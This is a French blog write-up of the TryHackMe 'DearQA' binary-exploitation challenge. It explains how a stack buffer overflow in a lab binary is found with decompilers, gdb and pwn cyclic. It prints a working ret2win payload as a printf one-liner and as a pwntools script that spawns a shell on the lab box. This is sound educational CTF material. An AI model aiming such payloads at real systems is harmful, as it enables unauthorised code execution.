+++
date = '2025-10-24T23:41:40+02:00'
draft = false
title = 'DearQA TryHackMe'
toc = true
+++

## Introduction

[> Lien du challenge](https://tryhackme.com/room/dearqa)

Je vous propose un pseudo write up pour avoir une trace écrite de ce qui a été fait jeudi dernier. Petit disclaimer : il est très probable qu'il y ait une ou deux infos fausses dans le tas, ce n'est vraiment pas mon domaine d'expertise et j'y vais toujours à tâtons, cependant je pense que ça peut vous aider à refaire le challenge chez vous si vous le souhaitez.

Infos sur le challenge :

* type: pwn (exploitation binaire)
* difficulté: très facile (même si c'est dur pour moi)
* faille: stack buffer overflow

## Identifier la faille

Le challenge nous fournit un fichier, son extension est `.DearQA`, ce qui ne veut rien dire à priori.

Le premier réflexe à avoir quand on ne sait pas avec quoi on travaille est d'utiliser `file` :

```sh
file DearQA-1627223337406.DearQA
# DearQA-1627223337406.DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped
```

De cette façon, il est possible de savoir qu'il s'agit d'un exécutable (`ELF`), dynamiquement lié pour Linux, mais aussi l'architecture de processeur pour laquelle le programme a été compilé (ici, x86 supportant le 64 bits, qui semble être abrégé en x64 par tryhackme).

Pour analyser le binaire, le plus simple est d'utiliser des décompilateurs (comme Ghidra, BinaryNinja ou ida), [dogbolt](https://dogbolt.org/) vous propose de décompiler en ligne avec ces décompilateur en même temps, pour peu que le binaire soit petit.

Pour ce qui est de DearQA, on peut obtenir ce qui suit avec BinaryNinja :

```c
int32_t main(int32_t argc, char** argv, char** envp)
{
    puts("Welcome dearQA");
    puts("I am sysadmin, i am new in developing");
    printf("What's your name: ");
    fflush(stdout);
    void var_28;
    __isoc99_scanf("%s", &var_28);
    printf("Hello: %s\n", &var_28);
    return 0;
}
```

D'autre part, Ghidra décompile de la façon suivante :

```c
undefined8 main(void)
{
  undefined1 local_28 [32];

  puts("Welcome dearQA");
  puts("I am sysadmin, i am new in developing");
  printf("What\'s your name: ");
  fflush(stdout);
  __isoc99_scanf(&DAT_00400851,local_28);
  printf("Hello: %s\n",local_28);
  return 0;
}
```

Il est alors possible de remarquer que le programme utilise `scanf` pour remplir le string `local_28`. La fonction `scanf` va lire ce qu'on rentre dans le terminal pour ensuite le placer dans les variables passées en paramètre. Le premier argument que prend cette fonction est un "format string" (plus de détails `man 3 printf`).

Pour l'entrée `"%s"`, `scanf` va lire tout ce qu'on rentre et le mettre dans la variable `local_28`. Or, comme vous pouvez vous en souvenir, le problème c'est qu'il n'y a que 32 octets d'allouer pour stocker cette entrée, ce qui risque de mener à un buffer overflow (qu'on écrive au-delà du string).

Le but de ce challenge est d'exécuter la fonction `vuln` qui est présente dans le programme, qui ressemble à ceci (ghidra) :

```c
void vuln(void)
{
  puts("Congratulations!");
  puts("You have entered in the secret function!");
  fflush(stdout);
  execve("/bin/bash",(char **)0x0,(char **)0x0);
  return;
}
```

Je ne vais pas retenter des explications sur la stack ou l'assembleur, mais le but du jeu est d'écrire sur l'emplacement sur la stack où le compilateur C fait _push_ la valeur du registre `rbp` (ie l'adresse du code sur lequel aller après l'exécution du main). Cette valeur sera alors rechargée par le CPU dans le registre `rsp` lorsque l'instruction assembleur `ret` sera exécutée.

## Trouver le "décalage" pour injecter l'adresse de `vuln`

On sait qu'il faudra remplir à peu près 32 caractères puis mettre l'adresse de `vuln` (spoiler ça ne marche pas), mais on va essayer une approche plus empirique.

La première étape est d'utiliser `pwn`, un outil très utilisé pour ce genre de challenge, on va générer un payload comme suivant :

```sh
pwn cyclic 60 > cyclic
# aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
```

Maintenant que le payload est dans un fichier et qu'on a l'adresse sur laquelle s'arrêter, on va pouvoir l'utiliser avec le debugger gdb. Exécutez la commande suivante :

```sh
gdb DearQA-1627223337406.DearQA
```

Puis, dans gdb exécutez la commande suivante pour lancer le programme avec votre fichier cyclic en entrée :

```sh
run < cyclic
# Welcome dearQA
# I am sysadmin, i am new in developing
# What's your name: Hello: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x000000000040072f in main ()
```

Le programme a segfault (normal, le `scanf` écrit n'importe où), cependant, c'est le moment de regarder quelles sont les valeurs des registres du CPU :

```sh
info registers
# rax            0x0                 0
# ...
# rbp            0x6161616a61616169  0x6161616a61616169
# ...
```

Ce qui est stocké est de l'hexadécimal (base 16, note: 16x16=256, un octet ou caractère en C). On peut remarquer que la valeur fait 16 caractères hexadécimaux de long, soit 8 octets, soit 64 bits (on retrouve notre CPU 64bits)

On regarde alors quelle est la valeur du registre en ascii (on peut utiliser [cyberchef](https://unlock.eirb.fr/cyberchef/#recipe=From_Hex('Auto')&input=NjE2MTYxNmE2MTYxNjE2OQ), je vous propose xxd ici) :

```sh
echo 6161616a61616169 | xxd -r -p
# aaajaaai
```

`aaajaaai` ?? Il s'agit de ce qu'on a rentré ! Et vu que cyclic va augmenter la valeur des caractères tous les 4 caractères, on sait exactement où ça se trouve dans notre input !

Il nous reste plus qu'à remplacer ce qui vient après `aaajaaai` par l'adresse de la fonction `vuln`, et à retirer ce qui suit, puis on a gagné !

## Trouver l'adresse de `vuln`

On peut lister les symboles d'un programme avec `nm`, je ne vais pas m'en priver :

```sh
nm DearQA-1627223337406.DearQA  | grep vuln
# 0000000000400686 T vuln
```

L'adresse est donc `0000000000400686`, il s'agit d'un pointeur : 64bit encodé en hexadécimale. Il faut faire attention à l'_endianness_, le CPU ne lit pas les nombres comme les humains, et vu qu'on joue directement avec la mémoire, il faut y faire attention. Sans perdre plus de temps, je vous donne l'opération à faire sur cyberchef, vous n'avez qu'à cliquer [ici](https://unlock.eirb.fr/cyberchef/#recipe=Swap_endianness('Hex',8,true)Find_/_Replace(%7B'option':'Regex','string':'%20'%7D,'',true,false,true,false)&input=MDAwMDAwMDAwMDQwMDY4Ng)

On doit donc injecter le nombre `8606400000000000`

## Créer le payload

Il n'y a plus qu'à créer le payload ! Mais pour ça, il faut bien comprendre ce qu'il se passe, j'espère que vous avez bien écouté les cours de M. Morandat :)

Dans le doute, je rappelle juste qu'en C, tout est un entier, ce qui change est l'interprétation qu'on en fait. Or, là, on essaye d'envoyer le nombre `0x86` comme un caractère au programme, ce nombre ne correspond pas à un caractère affichable, et on ne va pas pouvoir l'écrire avec le clavier. Il va falloir faire preuve d'imagination.

La solution que je propose sera avec `printf` comme suivant :

```sh
printf "aaaabaaacaaadaaaeaaafaaagaaahaaaaaajaaai\x86\x06\x40\x00\x00\x00\x00\x00"
```

Il est possible de vérifier que ça fonctionne bien en envoyant la commande dans xxd comme ça : `printf "..." | xxd`, puis on envoie directement dans l'exécutable :

```sh
printf "aaaabaaacaaadaaaeaaafaaagaaahaaaaaajaaai\x86\x06\x40\x00\x00\x00\x00\x00" | ./DearQA-1627223337406.DearQA
# Welcome dearQA
# I am sysadmin, i am new in developing
# What's your name: Hello: aaaabaaacaaadaaaeaaafaaagaaahaaaaaajaaai�@
# Congratulations!
# You have entered in the secret function!
```

Ça marche ! Dernière astuce pour la route :

```sh
printf "aaaabaaacaaadaaaeaaafaaagaaahaaaaaajaaai\x86\x06\x40\x00\x00\x00\x00\x00" > payload
cat payload - | ./DearQA-1627223337406.DearQA
```

`cat` (pour _concatenate_) sert à concaténer des fichiers, et `cat -` permet de simplement afficher ce qu'on écrit dans le terminal. Au final, `cat payload -` permet de préfixer ce qu'on écrit dans le terminal par notre payload, i.e. de nous rendre la main pile quand y'a un shell !

Il ne reste plus qu'à lancer tout ça dans `nc <ip> 5700` et vous aurez un shell sur la box et le flag sous les yeux !

## Bonus

Je vous propose une autre solution très concise avec `pwn` (qui est avant tout une lib python) :

```py
#!/usr/bin/python
from pwn import *

vuln = ELF("./DearQA-1627223337406.DearQA")

r = process("./DearQA-1627223337406.DearQA")
# r = remote('10.10.196.1', 5700)  # uncomment to use remote target

payload = 40 * b'A' + p64(vuln.symbols["vuln"])

r.sendline(payload)

r.interactive()
```

J'ai la flemme de la commenter plus que ça, donc je vous laisse lire la doc pour comprendre, mais les experts en pwn utilisent plutôt cette lib que les astuces à base de `cat payload -` que je propose :clown:

